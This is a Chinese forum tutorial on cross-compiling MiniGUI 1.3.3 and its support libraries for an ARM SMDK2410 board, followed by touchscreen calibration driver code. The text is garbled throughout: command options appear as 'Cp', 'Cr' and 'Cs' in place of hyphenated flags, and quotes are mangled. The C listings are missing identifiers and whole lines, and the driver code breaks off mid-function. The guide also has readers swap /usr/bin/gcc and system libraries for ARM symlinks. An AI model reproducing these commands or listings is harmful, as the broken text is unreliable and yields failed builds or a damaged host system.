OK,PC机的开发环境已经建立好了,下面就是要移植到我们的板子上去了,这里不介绍怎么移植 Linux 系统,假设你已经有一个可以在板子上跑的 Linux 系统了,并且已经有一个可以用的根文件系统了,并且已经有了板子相对应的LCD的驱动程序,这里介绍怎么在你的根文件系统里加上 MiniGUI ,使得你的板子有图形界面的显示。
要交叉编译,首先就得有交叉编译器,这里介绍 arm 板的交叉编译。不要自己去编译,直接去下载个就行了。
ftp://ftp.arm.linux.org.uk/pub/linux/arm/toolchain/cross-2.95.3.tar.bz2&
记住这个 ftp ,最好的 arm 工具下载站,
下载回来,有35Mb,呵
安装交叉编译工具:
[Root]# mkdir&&Cp&&/usr/local/arm
[Root]# cd /usr/local/arm
[Root]# tar jxf&&cross-2.95.3.tar.bz2& &//把工具直接解到压缩到这个目录下就安装完成了,简单吧:)
解压缩后生成一个 2.95.3 目录,里面在就是工具
记住,这时候的gcc为 2.95.3/bin/arm-linux-gcc& &而它的 include 为 2.95.3/arm-linux/include ,对应的 lib 为 2.95.3/arm-linux/lib
也就是说,你如果用 arm-linux-gcc 编译程序的话,它缺省的就找 2.95.3/arm-linux/include& &2.95.3/arm-linux/lib&&两个目录,而不是 /usr/include ,所以如果你要加什么 .h&&.a .so 文件话,记着一定是加到这两个目录下去,不然编译器会告诉你找不到这些东西的
把可行程序的路径加入到 PATH 中去,还记得前面说过的改 .bashrc 文件吗?
[user]# cd $HOME
[user]# vi .bashrc
在 .bashrc 最后面加上一句
export PATH=&$PATH:/sbin:/usr/local/arm/2.95.3/bin:/usr/local/bin:/usr/local&& &
[user]# source .bashrc
OK ,交叉编译工具安装完了,够简单吧:)
MiniGUI 的编译需要一些库文件,缺省我们的 gcc 基本上都有这些库文件,所以不需要安装,可是现在要交叉编译了,交叉编译器可是不带这些库文件的,所以我们得首先自己编译这些库文件装到交叉编译器中去。
注意一点:库不一定要装最新的,库版本太新,MiniGUI 有可能不认识,像jpeg 库和 ttf 库就是这样,太新了反而用不了,所以要注意版本,以下的库都是我验证过可以和MiniGUI一起工作的,其它版本的库没试过,不保证能正确通过:)
首先安装 zlib 库,这个是后面的库的编译基础。
http://www.zlib.net/zlib-1.2.3.tar.gz&&400多K,去下载吧,
下载到目录 /opt/st2410 下
[user]# tar zxf zlib-1.2.3.tar.gz
由于 zlib 库的configure 脚本不支持交叉编译选项,只好自己动用了,手动临时把 gcc 修改成指向我们的交叉编译器 arm-linux-gcc
[Root]# cd /usr/bin
[Root]# mv gcc gcc_back
[Root]# ln -s /usr/local/arm/2.95.3/bin/arm-linux-gcc ./gcc
[Root]# mv ld ld_back
[Root]# ln -s /usr/local/arm/2.95.3/bin/arm-linux-ld ./ld
OK ,修改完成后回到 /opt/st2410/zlib-1.2.3 目录下
[user]#&&./configure --prefix=/usr/local/arm/2.95.3/arm-linux/ --shared&&
注意:这里配置指向 /usr/local/arm/2.95.3/arm-linux/ 目录,会自动安装在 /usr/local/arm/2.95.3/arm-linux/ [include,lib] 目录下,千万不要装错目录了,不然后面会找不到这个库的
[user]#&&make
[Root]# make install
安装完后检查一下目录 /usr/local/arm/2.95.3/arm-linux/ [include,lib] ,假如 include 中没有 zlib.h 之类的头文件,lib 中没有 libz.so.1.2.3 ,那就自己手动拷到这些目录下去,记着拷的时候把所有的 *.h&&都需要拷过去,在拷库的时候用 cp Ca libz.* /…./lib&&就行,要用上 Ca 选项
记着把刚才改过的 gcc 再改回去,不然后面会出错的!!!!!
安装 png 库,这个是用来显示 png 图形的,MiniGUI 里很多图都是 png 的,如果没有这个库,你的 MiniGUI 将无法正常工作,切记切记!
http://superb-east.dl.sourceforge.net/sourceforge/libpng/libpng-1.0.10rc1.tar.gz&
还是那句话,库不要用最新的,最新的容易有问题,用这个老一点的就没问题了,呵
[user]# tar zxf libpng-1.0.10rc1.tar.gz
[user]# cd libpng-1.0.10rc1
Libpng 不提供有效的 configure 脚本,所以只好自己动手改 Makefile 文件了
[user]# cp scripts/makefile.linux&&Makefile& &//把 Scripts&&下的一个 makefile 拷出来自己动手改
[user]# vi Makefile& & // 自己动手改
CC=arm-linux-gcc& & //修改这里
# where &make install& puts libpng.a, libpng.so*, png.h and pngconf.h
prefix=/usr/local/arm/2.95.3/arm-linux& &&&//修改这里
# Where the zlib library and include files are located
#ZLIBLIB=/usr/local/lib
#ZLIBINC=/usr/local/include
ZLIBLIB=/usr/local/arm/2.95.3/arm-linux/lib& &//修改这里
ZLIBINC=/usr/local/arm/2.95.3/arm-linux/include& &//修改这里
好了,保存,然后去编译吧
[user]#&&make
[user]#&&make install&
如果有错误,检查你前面的步骤哪个没做对 :) 尤其是 zlib 的安装
还是前面说的,检查 /usr/local/arm/2.95.3/arm-linux/ [include,lib] 目录中有成功安装否,如果没有安装成功,那就自己把编译出来的东西拷过去。记着,*.h 和 .so 的文件都要拷。
OK,现在来安装 jpeg 库
ftp://ftp.uu.net/graphics/jpeg/jpegsrc.v6b.tar.gz& & 自己去下载,速度暴慢
[user]# tar zxf jpegsrc.v6b.tar.gz
[user]# cd jpeg-6b
[user]# ./configure Chelp& & //可以查看它的配置选项
首先在本机上编译一下,主要是它的 configure 文件设计得有问题,得先用 gcc 编译一个 dummy.c 的文件,然后才能后面编译,不然的话就会出现 libtool 找不到之类的错误
[user]# ./configure --enable-shared --enable-static
本机正常编译通过以后,[user]# make clean 清除掉,然后执行交叉编译
一般情况下用 [cdp@cdpserver jpeg-6b]$ ./configure --prefix=/usr/local/arm/2.95.3/arm-linux/ --host=arm-linux --enable-shared --enable-static
--host=arm-linux&&来指定交叉编译选项,可是这里死活它不认,所以改用别的方法,如下
[user]# ./configure --prefix=/usr/local/arm/2.95.3/arm-linux/ CC=arm-linux-gcc --enable-shared --enable-static
[user]# make
安装前需要在 arm-linux 下建个目录,不然安装会出错
[Root]# mkdir Cp /usr/local/arm/2.95.3/arm-linux/man/man1
[Root]# make install& & // OK 了
一样,自己去检查一下安装是否成功 :)
最后安装 libttf 库,这个是 TrueType 字体的支持库,用来显示文字的。
http://nchc.dl.sourceforge.net/sourceforge/freetype/freetype-1.3.1.tar.gz&
注意:MiniGUI 的文档说只支持 1.3.1 版本的 ttf 库,不要把版本弄错了 :)
这个库装起来最麻烦,全部自己手动编译,安装,下面一步一步来做吧:)
[user]# tar zxf&&freetype-1.3.1.tar.gz& && & //老一套
[user]# cd freetype-1.3.1& &//进到目录里去
[user]# mkdir Cp /opt/st2410/libttf/extend& &// 自己另外建立一个目录
[user]# cp freetype-1.3.1/lib/*&&freetype-1.3.1/lib/arch/ansi/*&&libttf/& &//把有用的东西拷出来
[user]#cp freetype-1.3.1/lib/extend/*&&libttf/extend/& & 把 extend 目录下的文件也拷出来
注意 cp 命令不要用 Cr 选项,因为会把一些没用的东西出拷出来的
拷贝完成了,现在来自己手动编译了
[user]# cd libttf
[user]# arm-linux-gcc -c -fPIC -O2 freetype.c& && && &//不要奇怪,对,我们只要编译这一个 .c 文件,因为它包括了其它所有的 .c 文件了,你可以自己查看它的内容&&
[user]# arm-linux-gcc -c -fPIC -O2 -I./&&extend/*.c& &把 extend 下所有的 .c 文件全部编译
[user]# arm-linux-gcc --shared -o libttf.so *.o& & 生成最后的动态链接库,OK了
现在手动安装,得自己建立一下目录
[Root] mkdir Cp /usr/local/arm/2.95.3/arm-linux/include/freetype1/freetype
[Root] cp *.h&&extend/*.h& &/usr/local/arm/2.95.3/arm-linux/include/freetype1/freetype
[Root] cp libttf.so&&/usr/local/arm/2.95.3/arm-linux/lib
安装库完成,哈!
经过试验发现 MiniGUI 1.3.3 版本在链接 ljpeg lpng lttf 时老是要链接 /usr/lib 下的库,没办法,用老方法
[Root]# cd /usr/lib
[Root]# mv libjpeg.so& &libjpeg.so_back
[Root]# ln Cs /usr/local/arm/2.95.3/arm-linux/lib/libjpeg.so&&./libjpeg.so& & //指向 arm 的库
[Root]# mv libpng.so& &libpng.so_back
[Root]# ln Cs /usr/local/arm/2.95.3/arm-linux/lib/libpng.so&&./libpng.so
[Root]# mv libttf.so& &libttf.so_back
[Root]# ln Cs /usr/local/arm/2.95.3/arm-linux/lib/libttf.so&&./libttf.so
完成以上工作后就可以编译 libminigui 了
[user]# cd libminigui-1.3.3
[user]#&&make menuconfig& && && && && & //就用图形界面来配置就好了,不要用一堆 Cenable-xxx 之类的,太麻烦
如果在 make menuconfig 出错,去检查一下你的 gcc ,前面我们把它指向 arm-linux-gcc ,问一下,你改回来没有???????
下面是配置libminigui&
在 System Wide Options 里如下:
Build MiniGUI-Lite& && &&&//用 Lite 方式编译,不是Thread 方式,这里适用于 PDA
[ ]& &Stand-Alone
[ ] Use incore (built-in) resource& && &&&//建议不要选这个,老有问题Unit of timer is 10msCursor support
[ ] User can move window with mouse& &//建议别选这个,可以移动蛮烦人的Mouse button can do double clickBuild with debugging messages
[ ] Trace messages of MiniGUI& && &&&//不要选这个,出来的Trace太多,看不过来Include symbol name of messages
在 GAL&&engine Options 里
(NEWGAL) GAL and its engines& &NEWGAL engine on Linux FrameBuffer console
[ ]& &NEWGAL engine on Qt Virtual FrameBuffer& &&&//建议不要选这个,不然老让你用qvfb
[ ]& &NEWGAL engine on eCos LCD interface& &Dummy NEWGAL engineHave console on Linux FrameBuffer
在 IAL engine options 里
[ ] EP7211-based board
[ ] ADS Graphics Client
[ ] iPAQ H3600 (also H3800)
[ ] MPC823
[ ] PX255B
[ ] NEC VR4181
[ ] Helio Touch Panel
[ ] MT T800SMDK2410 Touch Screen
[ ] uClinux Touch Screen Palm/MC68EZ328Dummy IAL engineNative (console) input engine
---& &Native IAL engine subdriver options
[ ]& &PS2 mouse
[ ]& &IntelligentMouse (IMPS/2) mouse
[ ]& &MS mouse
[ ]& &MS3 mouse& &GPM daemon
在 Font Option 里Raw bitmap font
[ ] Var bitmap font&&//千万不要选这个,不然会出现 unreferenced vfb_Courier8x8() 之类的错误Incore font sansserifIncore font courierIncore font symbolIncore font vgasQt Prerendered FontTrueType font
[ ] Adobe Type1 font
在 Image Options 里Includes SaveBitmap-related functions
[ ] PCX file support
[ ] LBM/PBM file support
[ ] TGA file supportGIF file supportJPG file supportPNG file support
在 Input Medthold Option 里IME (GB2312) support
[ ] IME (GB2312) Intelligent Pinyin module& &//千万不要选这个,不然后面你的 mginit 程序一启动就崩溃了(Abort ,有点像 OOP 一样,显示所有的寄存器的值,然后Abort),暴不爽
在 Development Environment Option 里
(Linux) Platform
(arm-linux-gcc) Compiler& &//注意这里
(glibc) Libc& && && && & //注意这里
--- Installation options
Path prefix: &/usr/local/arm/2.95.3/arm-linux&& &//注意这里,我们把库装到交叉编译器的目录下
--- Additonal Compiler Flags
& && &CFLAGS: &&
& && &LDFLAGS: &&
其它的用缺省的选项就可以了,好了,现在退出,保存你的设置吧,然后它就开始检测你的系统了,注意下面的输出:
checking for FrameBuffer console support... yes
checking for TT_FreeType_Version in -lttf... yes& && &//True Type字体
checking for jpeg_std_error in -ljpeg... yes& && && &&&// jpeg 支持
checking for png_check_sig in -lpng... yes& && && &&&//png 图形支持,重要!!!
checking for pow in -lm... yes
这里的库应该都是显示为 yes 了,如果有 no 的话,回去检查前面你有哪步做得不对,不然的话编译后的东西可能没法正常执行,切记切记!!!
如果这里通过了,那就OK了
[user]#&&make&&//又是一个漫长的等待,呵
[Root]#&&make install
注意:我们这里 make install 其实是给交叉编译器安装 libminigui 的库,你想,将来你需要编译为 minigui 开发的程序,这个程序总是需要链接库的吧,这些库因此也需要在交叉编译器中,不然你交叉编译的时候编译不过去 :)
装好了,到 /usr/local/arm/2.95.3/arm-linux&&的 include lib 目录下去看看,是不是多了相应的 libminigui.so&&libmgext.so&&libvcongui.so& & 在 include 目录下多了一个 minigui 目录,里面有相应的头文件
最后,安装 popt 库,这个库在编译 mde 程序时需要使用,不然编译没法通过 :)
http://gd.tuwien.ac.at/utils/rpm.org/dist/rpm-4.1.x/popt-1.7.tar.gz&&我是从这里下载的
[user]#&&tar zxf popt-1.7.tar.gz
[user]# cd popt-1.7
[user]# ./configure --prefix=/usr/local/arm/2.95.3/arm-linux/ --host=arm-linux --enable-shared --enable-static
[user]# make&
[Root]# make install
一切很顺利,搞定了。
交叉编译环境设置好了!
OK ,下面是把 minigui 移植到你的板子上去了。
我在 /opt 目录下建立了一个 rootfs 目录,即 /opt/rootfs&&,用来建立我的嵌入式系统的根目录,现在我需要把 minigui 的库文件放到里面去,
[Root]# mkdir Cp /opt/rootfs/usr/local/[lib,etc]
把 /usr/local/arm/2.95.3/arm-linux/lib 中相应的库拷到 /opt/rootfs/usr/local/lib 目录下去
下面是我拷的库文件:
libjpeg.a& && && & libmgext-1.3.so.3& && &&&libminigui.a& &libpng.so.2& && && && &libttf.a& && && && && &&&libz.so
libjpeg.la& && && &libmgext-1.3.so.3.0.0& & libminigui.la&&libpng.so.2.1.0.10rc1&&libttf.so& && && && &&&libz.so.1
libjpeg.so& && &&&libmgext.a& && && && && &libminigui.so&&libpopt.a& && && && &&&libvcongui-1.3.so.3& && &libz.so.1.2.3
libjpeg.so.62& && &libmgext.la& && && && &&&libm.so& && &&&libpopt.la& && && && & libvcongui-1.3.so.3.0.0&&minigui
libjpeg.so.62.0.0&&libmgext.so& && && && &&&libm.so.6& && &libpopt.so& && && && & libvcongui.a& && && && & shared
libm-2.2.3.so& && &libminigui-1.3.so.3& && &libpng.a& && & libpopt.so.0& && && &&&libvcongui.la
libm.a& && && && & libminigui-1.3.so.3.0.0&&libpng.so& && &libpopt.so.0.0.0& && & libvcongui.so
其中一些 .a 的静态库是不需要拷过去的,我图方便,一起拷了,呵,懒人的做法
同时修改 /opt/rootfs/etc/ld.so.conf ,在里面最后新加入一行&&/usr/local/lib
然后执行 [Root] ldconfig Cr /opt/rootfs& &&&//把 rootfs 当成根目录,执行
OK,库文件准备完毕
下面把资源文件也拷过来,还记得吗,在前面 搭建 PC 环境中讲过安装资源文件,它被装在了 /usr/local/lib 目录下,一个叫 minigui 的目录,我们要做的就是把它拷过来
[Root]# cp Cr Ca /usr/local/lib/minigui&&/opt/rootfs/usr/local/& & 连目录一起拷过来,目录结构和主机一样
把配置文件也拷过来
[Root]# cp /usr/local/etc/MiniGUI.cfg& &/opt/rootfs/usr/local/etc/& &记住,保持目录结构的一致
修改 MiniGUI.cfg ,如下
# GAL engine
gal_engine=fbcon& &&&//这里修改
# IAL engine
ial_engine=dummy& && &// 这里修改,我不知道你会用什么触摸屏,所以就用dummy肯定不会错
mdev=/dev/touchscreen/0raw&&//解摸屏,如果前面是 dummy ,则这里改不改无所谓
mtype=none
defaultmode=240x320-16bpp&&// 根据你的LCD大小自己设置,设置错误minigui 就启动不了
ial_engine 一开始建议用 dummy ,先让 minigui 跑起来,以后再把 触摸屏 加进去,保证尽可能减少错误的发生
保存,退出。 OK ,你的板子上的系统也搭建完毕了,现在来让真正的图形界面跑起来!:)
注意:你Build 你的 嵌入式 Linux 内核时,在 Console 中一定要先上 FrameBuffer ,从4位色一直到 16 位色的支持,全选上吧,同时把 VGA TextOut 选项勾掉,不要选它!!!!!!!!!!
内核启动时就要激活 FrameBuffer ,不然 minigui 没法启动起来,激活的方法就是给它传内核参数 vga=xxx 之类的。
3.启动你的 MiniGUI 的图形界面
看看你的 Windows 操作系统,左下方是一个 [开始] 按钮,然后是 任务条 ,MiniGUI 也提供了类似的界面,这就是一个叫 mginit 的程序,它启动后就跟widnows的界面很像了,它就在 mde 包里面,还记得最初让你下载的那个程序包吗??&&现在我们就来安装它!!:)
[user]# tar zxf mde-1.3.0.tar.gz
[user]# cd mde-1.3.0&
//我们先对 mginit 程序做一点小修改,呵
[user]#&& vi mginit.c&
在 297 行处,把下面代码注释掉
/***************
& & AboutMiniGUI ();
AboutMDE ();
**************/
保存,退出即可。
因为我们没有 触摸屏 现在,没法点它的 确认 按钮,所以把这些 About 信息去掉:)
好了,现在来编译吧,在mde-1.3.0 目录里
[user]# ./configure --prefix=/opt/rootfs/usr/local --host=arm-linux
[user]# make
如果你发现 mginit 目录下的程序没有被编译,那就说明你的 libminigui 配置不正确,记住,你必须是配置为 Lite 模式,这个程序才会被编译
[user]# make install
事实上证明,make install,根本没用,它什么都没做,do nothing&
所以还是我们自己动手来做吧,呵
[Root]# mkdir Cp /opt/rootfs/usr/local/lib/shared/miniguiapps& & //建立了一个我们自己的目录,好长,呵
[Root]# cp Cr Ca&&mde-1.3.0/*& &/opt/rootfs/usr/local/lib/shared/miniguiapps
直接全部拷过去,然后到 /opt/rootfs/usr/local/lib/shared/miniguiapps 的各个程序目录下去,比如 mginit , bomb , painter 之类的,把不用的 .c .h .o Makefile 之类的全删除掉,保留 可执行文件和相应的 res 目录下的资源
注意,保持目录的结构,mginit.rc 文件不要删了,这个对mginit 程序很重要
OK,最后一步了,修改配置文件
[Root]#&&vi&&/opt/rootfs/linuxrc 文件
一般你配置嵌入式系统的时候都会有这个文件,用来执行一些系统的初始化工作,如果没有,就在你相应的初始化脚本(例如 etc/inittab)中加入下面的语句
mknod /dev/ttyp5 c 3 5
mknod /dev/ptyp5 c 2 5
cd /usr/local/lib/shared/miniguiapps/mginit
注意:最后执行 mginit 命令的方式,先进入到它所在的目录,然后再执行,千万不要只写成
/usr/local/lib/shared/miniguiapps/mginit/mginit
因为 mginit 执行时在“当前目录”的res文件夹下搜索显示的资源,这种写法则“当前目录”为 / 根目录,所以会找不到 res 文件夹,于是显示错误
“ Can not create taskbar! ” 就退出了!
如果运行时显示没有 mknod 命令,请检查一下你的 busybox 的配置 :)
切记切记!
好了,一切成功了,现在放到你的板子上去试试吧:)
[Root]# cd /opt
[Root]# mkcramfs&&rootfs&&root.cramfs&&制作根文件系统镜像,把 root.cramfs 烧到你的板子里面就OK了,启动,就可以看到 minigui 的图形界面启动了 :)
注意: 因为你的 minigui 是按 Lite 模式编译的,如果必须 mginit 首先运行起来,你其它的程序(比如 bomb ,或是 helloword)才能执行,如果 mginit 没有运行起来你就执行 helloword 的话,就会显示错误&
“ Can not attach shared resource ! ”
4.为&&minigui 开发程序
环境配好了,现在是开发自己的程序了,呵呵,写个简单的 Helloword 程序
** $Id: helloworld.c,v 1.7
07:15:49 weiym Exp $
** Listing 2.1
** helloworld.c: Sample program for MiniGUI Programming Guide
**& && &The first MiniGUI application.
** Copyright (C) 2003 Feynman Software.
** License: GPL
static int HelloWinProc(HWND hWnd, int message, WPARAM wParam, LPARAM lParam)
& & switch (message) {
& && &&&case MSG_PAINT:
& && && && &hdc = BeginPaint (hWnd);
& && && && &TextOut (hdc, 100, 100, &Hello, world!&);
& && && && &EndPaint (hWnd, hdc);
& && && && &return 0;
& && &&&case MSG_CLOSE:
& && && && &DestroyMainWindow (hWnd);
& && && && &PostQuitMessage (hWnd);
& && && && &return 0;
& & return DefaultMainWinProc(hWnd, message, wParam, lParam);
int MiniGUIMain (int argc, const char* argv[])
& & HWND hMainW
& & MAINWINCREATE CreateI
#ifdef _LITE_VERSION
& & SetDesktopRect(0, 0, );
& & CreateInfo.dwStyle = WS_VISIBLE | WS_BORDER | WS_CAPTION;
& & CreateInfo.dwExStyle = WS_EX_NONE;
& & CreateInfo.spCaption = &Hello, world&;
& & CreateInfo.hMenu = 0;
& & CreateInfo.hCursor = GetSystemCursor(0);
& & CreateInfo.hIcon = 0;
& & CreateInfo.MainWindowProc = HelloWinP
& & CreateInfo.lx = 0;
& & CreateInfo.ty = 0;
& & CreateInfo.rx = 320;
& & CreateInfo.by = 240;
& & CreateInfo.iBkColor = COLOR_
& & CreateInfo.dwAddData = 0;
& & CreateInfo.hHosting = HWND_DESKTOP;
& & hMainWnd = CreateMainWindow (&CreateInfo);
& & if (hMainWnd == HWND_INVALID)
& && &&&return -1;
& & ShowWindow(hMainWnd, SW_SHOWNORMAL);
& & while (GetMessage(&Msg, hMainWnd)) {
& && &&&TranslateMessage(&Msg);
& && &&&DispatchMessage(&Msg);
& & MainWindowThreadCleanup (hMainWnd);
& & return 0;
#ifndef _LITE_VERSION
首先在 PC 上编译,验证通过!
[user]# gcc&&-o helloword&&helloword.c&&-lminigui Clmgext&
如果没有错误,运行 qvfb ,按前面说的设置好,然后执行 [user]# ./helloword
一切正常,没有错误,现在就要把它放到我们的 板子上去跑了
[user]# arm-linux-gcc CO2 Co helloword helloword.c Clminigui Clmgext&
编译完后,把它烧到板子的某个目录下,就可以在 板子上跑了!
所以这里就是说,minigui 提供了让你在 PC 上就可以调试和运行程序的方法(使用qvfb ),等你保证程序正确了以后,只需要把它重新编译一下,放到板子上去就行了!
5.一些常见的问题
这几天遇到不一些问题,发现论坛上也基本上没人回答我,所以只好自己解决了,这里把一些问题写出来,方便有需要的人:
问题1:在板子上跑的程序都显示 can not find qvfb …&&之类,可是我只是想让它在板子上跑在 FrameBuffer 之上啊?
解决:在编译 libminigui 的时候,把&
[ ] Use incore (built-in) resource& && &&&//建议不要选这个,老有问题
[ ]& &NEWGAL engine on Qt Virtual FrameBuffer& &&&//建议不要选这个,不然老让你用qvfb
问题2:编译的时候老出现&&unreferenced to vbf_Courier8x8()&&之类的问题
[ ] Var bitmap font&&//千万不要选这个,不然会出现 unreferenced vfb_Courier8x8() 之类的错误
问题3:一切都搞定了,可是执行 mginit() 的时候就崩溃了,把所有的寄存器值打印了出来,然后显示了个 Abort() 就退出了!
[ ] IME (GB2312) Intelligent Pinyin module& &//千万不要选这个,不然后面你的 mginit 程序一启动就崩溃了
问题4: 为什么我执行 helloword 就显示 “Can not attach shared resource!”
注意: 因为你的 minigui 是按 Lite 模式编译的,如果必须 mginit 首先运行起来,你其它的程序(比如 bomb ,或是 helloword)才能执行,如果 mginit 没有运行起来你就执行 helloword 的话,就会显示错误&
“ Can not attach shared resource ! ”
问题5:怎么把自己的程序加到 minigui 的 taskbar 上去,并且排在前面??
查看 mginit 目录下的 mginit.rc 文件,里面就是配置,我想你能看明白的 :)
问题6:为什么我的程序显示 can not find libminigui.so ??
解决:你是否忘了在 etc/ld.so.conf 中加入 /usr/local/lib ,并且执行 ldconfig 程序? 看前面说的方法
好了,就写这么多吧,希望对新手有所帮助!
Singlewolfyu (大漠孤狼) 写于 清华 FIT 4-305
把我写的另一篇关于 IAL 校正的文章也归并到这个贴子里来,算是做个汇总吧,原贴可以在论坛中搜 singlewolfyu 的文章就可以找到,原贴里有一些我上传的附件,有兴趣可以去下载,这里就不上传了! 希望这篇文章能对大家有用!
带屏幕校正功能的 2410 的 IAL
作者:大漠孤狼& && && && && & E-MAIL:
前几天成功的把 MiniGUI 移植到板子上了,顺利的跑起来了。我用的是 SMDK2410 的 IAL 程序,可是还有一些问题,如下:
1:点在触摸屏上不动,可以见到 Cusor 在点的位置附近老是跳动,而且点的位置不准,
2:经常点 MiniGUI 的菜单或是按钮的时候,MiniGUI 没有反应,经printf 出来,发现菜单有时候收不到 MSG_COMMAND 消息,有时候能收到,就是说很不稳定
3:经常点击触摸屏的手离开后,Cursor 就消失了
经过调试后发现了原因,如下:
1:由于用的触摸屏是比较便宜的那种,所谓便宜没好货,触摸屏的采样很不稳定,我的屏是 3 寸屏,分辨率是 240x320 16-pp 的那种,可是我点击触摸屏从驱动读出来的值却是 900 多,800 多,而且还不是简单的线性关系,比如我点 X 轴 120 处,值为 400 ,我点X轴 239 处值为 900 ,晕死,如果用原来的 SMDK 2410 IAL 程序,根本无法正常工作
2:便宜屏还有个问题,就是在刚开始按触摸屏和快要放手时,这一头一尾两种情况下,采样值根本就是错误的,比如我按在 X 轴 120&&处,刚开始得到的值是 230 ,然后是 250,400 ,401,398,403 ……402,100,101 ,这样的序号,可以看到,在刚开始和快结束时采到的值根本是错误的,这就是为什么我说“手一离开触摸屏,Cusor就消失”的原因为了,因为这时候 Cusor 跑到错误的坐标值上去了,当然就消失了
3:经常点 MiniGUI 的菜单却没有响应,其实还是上面 2 的原因,菜单的响应是当你的手离开触摸屏后,会产生一个 MSG_LBUTTONUP 消息,在这个消息中会调用 PtInRect()检查这时候的点击位置是否在菜单上,如果在的话,菜单就会触发一个 MSG_COMMAND 消息,于时菜单就会显示出来,其实 MiniGUI 中对所有的点击都是这样处理的。(自己看看 MiniGUI 的源代码就会明白了)。因为我的便宜屏在手快要离开触摸屏时得到的坐标是错误的,所以这时候 PtInRect() 就会返回错误的值,就好像我点在屏的别的地方了一样,所以这时候菜单根本得不到消息。
根据以上原因,我对 MiniGUI&&1.3.3 版本中的 2410 的 IAL 程序进行了修改,使得它在我的 便宜屏 上一样可以正常工作。它提供了去抖动功能,就是点击时一头一尾那两下的不准确的值不能要,同时提供了一个方便的屏幕校准程序,你只需要做小小的修改就可以校准让它在你的 便宜屏 上很好的正常工作了。
新程序的使用方法:
在 2410.c 中定义了两个数组,如下&
typedef struct mPoint {& && &int& && &x,
& && && && && && && && && && &&&
& && && && && && &&&} mPOINT ;
static mPOINT ts_position[4]={ {940,926},{940,102},{96,104},{120,940} };
static mPOINT display_position[4]={ {0,0},{0,319},{239,319},{239,0} };
ts_position 意思为 TouchScreen 的 位置
display_position 意思为屏幕上显示的 位置
比如我前面说的,我的屏幕是 240x320 的,我点四个角 {0,0},{0,319},{239,319},{239,0} ,从触屏上读出来的数据分别为 {940,926},{940,102},{96,104},{120,940} ,填入这两个数就行
所以使用方法就是,你自己取四个点(其实只要3个点就够了,呵),点这四个点,得到相应的触摸屏读出来的值,把这些数据填到这两个数组中,OK,你的 触摸屏 就可以正常工作了 :)
后面附一个 readpos.c&&的程序,你可以执行它,然后点击触摸屏,它会显示出触摸屏读出来的值。
程序: 2410_带触摸屏校正功能.c
** $Id: 2410.c,v 1.4
12:15:37 weiym Exp $
** 2410.c: Low Level Input Engine for SMDK2410 Dev Board.
** Copyright (C) 2003 Feynman Software.
** This prog you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software F either version 2 of the License, or
** (at your option) any later version.
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&&See the
** GNU General Public License for more details.
** You should have received a copy of the GNU General Public License
** alo if not, write to the Free Software
** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA&&&&USA
#include &common.h&
#ifdef _SMDK2410_IAL
#include& &/* i add it here */
#include &ial.h&
#include &2410.h&
typedef struct mPoint {
& && && && && && && &&&int& && &x,
& && && && && && && && && && &&&
& && && && && && &&&} mPOINT ;
static mPOINT ts_position[4]={ {940,926},{940,102},{96,104},{120,940}
& && && && && && && && && && &};
static mPOINT display_position[4]={ {0,0},{0,319},{239,319},{239,0}
& && && && && && && && && && && &};
typedef struct Matrix {
/* This arrangement of values facilitates&
*&&calculations within getDisplayPoint()&
& && && && && && && &&&int& && &An,& &&&/* A = An/Divider */
& && && && && && && && && && &&&Bn,& &&&/* B = Bn/Divider */
& && && && && && && && && && &&&Cn,& &&&/* C = Cn/Divider */
& && && && && && && && && && &&&Dn,& &&&/* D = Dn/Divider */
& && && && && && && && && && &&&En,& &&&/* E = En/Divider */
& && && && && && && && && && &&&Fn,& &&&/* F = Fn/Divider */
& && && && && && && && && && &&&D
& && && && && && &&&} mMATRIX ;
static mMATRIX m_
int setCalibrationMatrix( mPOINT * display,
& && && && && && && && && && &&&mPOINT * screen,
& && && && && && && && && && &&&mMATRIX * matrix) ;
int getDisplayPoint( mPOINT * display,
& && && && && && && && && &mPOINT * screen,
& && && && && && && && && &mMATRIX * matrix ) ;
/* for data reading from /dev/ts */
typedef struct {
} TS_EVENT;
static unsigned char state [NR_KEYS];
static int ts = -1;
static int mousex = 0;
static int mousey = 0;
static TS_EVENT ts_
#undef _DEBUG
/************************&&Low Level Input Operations **********************/
* Mouse operations -- Event
static int mouse_update(void)
& &return 1;
static void mouse_getxy(int *x, int* y)
#ifdef _DEBUG
& &printf (&mousex = %d, mousey = %d/n&, mousex, mousey);
& &if (mousex&
& &if (mousey&
& &if (mousex & 239) mousex = 239;
& &if (mousey & 319) mousey = 319;
static int mouse_getbutton(void)
&&return ts_event.&
#ifdef _LITE_VERSION&
static int wait_event (int which, int maxfd, fd_set *in, fd_set *out, fd_set *except,
& && && && && &struct timeval *timeout)
static int wait_event (int which, fd_set *in, fd_set *out, fd_set *except,
& && && && && &struct timeval *timeout)
& &int& & retvalue = 0;
static int last_pressure=0;
& &if (!in) {
& && & in = &
& && & FD_ZERO (in);
& &if ((which & IAL_MOUSEEVENT) && ts &= 0) {
& && & FD_SET (ts, in);
#ifdef _LITE_VERSION
& && & if (ts & maxfd) maxfd =
#ifdef _LITE_VERSION
& &e = select (maxfd + 1, in, out, except, timeout) ;
& &e = select (FD_SETSIZE, in, out, except, timeout) ;
& &if (e & 0) {&
& && & if (ts &= 0&&&& FD_ISSET (ts, in) ) {
& && && &&&FD_CLR (ts, in);&
& && && &&&ts_event.x=0;
& && && &&&ts_event.y=0;
& && && &&&read (ts, &ts_event, sizeof (TS_EVENT));& &
& && && & if(last_pressure==0)
& && && & {
& && && && & read(ts,&ts_event,sizeof(TS_EVENT));
& && && && & read(ts,&ts_event,sizeof(TS_EVENT));
& && && &&&
& && && &&&if (ts_event.pressure & 0 ) {&
& && && && && &int new_x;
& && && && && &int new_y;
mPOINT ts_point,display_
& && && && && &
& && && && && &ts_point.x=ts_event.x;
& && && && && &ts_point.y=ts_event.y;
& && && && && &&
& && && && && &getDisplayPoint(&display_point,&ts_point,&m_matrix);
& && && && && &&&
& && && && && &new_x = display_point.x;
& && && && && &new_y = display_point.y;
& && && && &&&
if(last_pressure==0 || (last_pressure&0 && abs(new_x-mousex)
& && && && && && && &&&mousex=new_x;
& && && && && &if(last_pressure==0 || (last_pressure&0 && abs(new_y-mousey)
& && && && && && && &&&mousey=new_y;
printf(&ts_x=%d,ts_y=%d/n&,ts_event.x,ts_event.y);& && && && &&&
